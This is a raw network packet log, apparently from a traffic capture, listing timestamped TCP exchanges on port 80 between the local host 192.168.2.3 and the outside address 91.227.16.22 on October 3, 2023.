Oct 3, 2023 09:55:09.720885992 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.720889091 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.720932007 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721004009 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.721035957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721096992 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721164942 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721164942 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.721221924 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721275091 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721291065 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.721334934 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721385956 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721400023 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.721441031 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721491098 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721513987 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.721577883 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721657038 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.721674919 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721744061 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721815109 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.721822023 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721879005 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721939087 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.721941948 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.721982956 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.722040892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.722048044 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.722089052 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.722151995 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.722163916 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.722259045 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.722322941 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.722337961 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.722405910 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.722470045 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.722495079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.722564936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.722580910 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.722636938 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.722721100 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.722810984 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.722825050 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.722875118 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.722889900 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.722933054 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.722973108 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.722986937 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.723047972 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.723069906 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.723100901 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.723166943 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.723243952 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.723249912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.723310947 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.723386049 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.723401070 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.723469973 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.723501921 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.723562002 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.723624945 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.723651886 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.723720074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.723782063 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.723824024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.723889112 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.723937035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.723951101 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.723954916 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.724009991 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.724040985 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.724116087 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.724183083 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.724209070 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.724251986 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.724314928 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.724318027 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.724412918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.724477053 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.724483013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.724587917 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.724653006 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.724673033 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.724736929 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.724786043 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.724803925 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.724874020 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.724912882 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.724982023 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725053072 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725094080 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.725104094 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725172043 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725214005 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.725229025 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725279093 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725322962 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.725336075 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725348949 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725388050 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.725419044 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725471973 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725522995 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.725539923 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725599051 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725645065 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.725656986 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725719929 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725765944 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.725797892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725862026 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725905895 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.725914955 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.725976944 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.726017952 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.726049900 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.726155996 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.726197004 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.726227999 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.726294994 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.726335049 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.726366997 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.726500988 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.726540089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.726556063 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.726587057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.726627111 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.726658106 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.727021933 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.727063894 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.727081060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.727133036 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.727174044 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.727217913 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.727302074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.727344990 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.727411985 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.727411985 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.727478981 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.727521896 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.727551937 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.727601051 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.727644920 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.727686882 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.727854967 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.727901936 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.727957010 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.728033066 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.728079081 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.728121042 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.728225946 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.728271961 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.728303909 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.728379965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.728427887 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.728461981 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.728532076 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.728578091 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.728610992 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.728662014 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.728708029 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.728739977 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.728810072 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.728857994 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.728885889 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.728945017 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.729015112 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.729039907 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.729144096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.729187965 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.729196072 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.729296923 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.729345083 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.729465008 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.729537010 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.729578972 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.729590893 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.729643106 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.729687929 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.729701996 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.729765892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.729808092 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.729839087 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.729921103 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.729964018 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.729995966 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.730115891 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.730161905 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.730205059 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.730293989 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.730340004 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.730417013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.730482101 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.730528116 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.730963945 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.731050014 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.731097937 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.731139898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.731230974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.731277943 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.731321096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.731401920 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.731446981 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.731514931 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.731589079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.731647968 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.731681108 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.731761932 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.731817007 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.731843948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.731868982 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.731908083 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.731940985 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.731988907 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.732027054 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.732038975 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.732094049 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.732136965 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.732158899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.732232094 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.732273102 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.732291937 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.732340097 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.732384920 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.732410908 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.732476950 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.732517004 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.732549906 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.732683897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.732728004 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.732769966 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.732860088 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.732899904 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.732927084 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.732985973 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733023882 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733025074 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.733095884 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733134985 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.733153105 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733195066 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733234882 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.733258963 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733319998 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733362913 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.733375072 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733427048 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733467102 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.733500004 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733563900 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733603954 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.733628035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733669996 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733681917 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733743906 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.733776093 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733814955 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.733876944 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.733971119 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.734009981 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.734041929 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.734142065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.734184980 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.734189987 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.734239101 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.734280109 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.734312057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.734371901 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.734414101 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.734452963 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.734478951 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.734520912 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.734551907 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.734602928 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.734657049 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.734658003 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.734700918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.734766006 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.734766960 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.734846115 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.734884977 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.734929085 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.735054016 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.735095024 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.735126019 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.735225916 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.735265970 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.735297918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.735394001 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.735435963 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.735467911 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.735543013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.735585928 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.735594034 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.735651016 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.735707998 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.735716105 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.735747099 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.735791922 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.735824108 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.735933065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.735975027 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.736001015 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.736057043 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.736093998 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.736104965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.736155033 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.736192942 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.736217022 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.736257076 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.736298084 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.736361980 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.736454010 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.736494064 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.736526966 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.736550093 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.736591101 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.736618042 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.736640930 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.736701012 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.736727953 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.736804008 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.736835957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.736896992 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.736927986 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.737024069 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.737060070 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.737092018 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.737200022 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.737243891 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.737245083 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.737345934 CEST	80	49816	91.227.16.22	192.168.2.3
